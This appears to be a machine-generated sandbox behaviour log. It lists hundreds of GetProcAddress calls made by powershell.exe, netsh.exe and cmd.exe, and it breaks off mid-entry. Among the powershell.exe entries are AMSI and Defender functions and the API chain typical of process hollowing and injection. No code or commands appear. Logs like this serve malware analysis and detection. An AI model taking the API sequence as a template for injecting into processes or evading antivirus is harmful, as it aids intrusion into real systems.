"powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WldpIsDynamicCodePolicyEnabled (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter lstrlenA (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter InternetGetConnectedState (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnections (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RasEnumConnectionsW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WSAStartup (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WSASocket (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WSASocketW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter setsockopt (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WSAEventSelect (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ioctlsocket (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter closesocket (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WSAIoctl (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter FormatMessage (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter FormatMessageW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotification (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RasConnectionNotificationW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegOpenCurrentUser (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegNotifyChangeKeyValue (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpen (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WinHttpOpenW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandle (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WinHttpCloseHandleW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeouts (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WinHttpSetTimeoutsW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetIEProxyConfigForCurrentUser (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrl (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WinHttpGetProxyForUrlW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ResetEvent (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetAddrInfoW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter freeaddrinfo (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetAdaptersAddresses (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter bind (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter EnumerateSecurityPackagesW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter FreeContextBuffer (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter FreeCredentialsHandle (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter AcquireCredentialsHandleW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter DeleteSecurityContext (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter InitializeSecurityContextW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WSARecv (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter QueryContextAttributesW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertCloseStore (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStore (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateStoreW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStore (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertEnumCertificatesInStoreW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateChain (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStore (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertOpenStoreW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStore (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertAddCertificateLinkToStoreW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChain (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateChainW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChain (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateChainW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicy (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CertVerifyCertificateChainPolicyW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetLastError (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter EncryptMessage (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter DecryptMessage (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateDirectory (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateDirectoryW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetFileAttributesW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter SetFileAttributesWW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CopyFile (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CopyFileW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExWW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RegSetValueExWW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ND_RI4 (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ND_RI4_RetAddr (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ND_RI2 (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ND_RI2_RetAddr (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ND_RI8 (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ND_RI8_RetAddr (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateProcess (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ZwUnmapViewOfSection (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter VirtualProtectEx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter RtlZeroMemory (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationProcess (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter NtQueueApcThread (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00004040) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00004040) "netsh.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00004156) "netsh.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003624) "netsh.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003624) "cmd.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00008164) "cmd.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00008164) "netsh.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007396) "netsh.exe" called "GetProcAddress" with a parameter 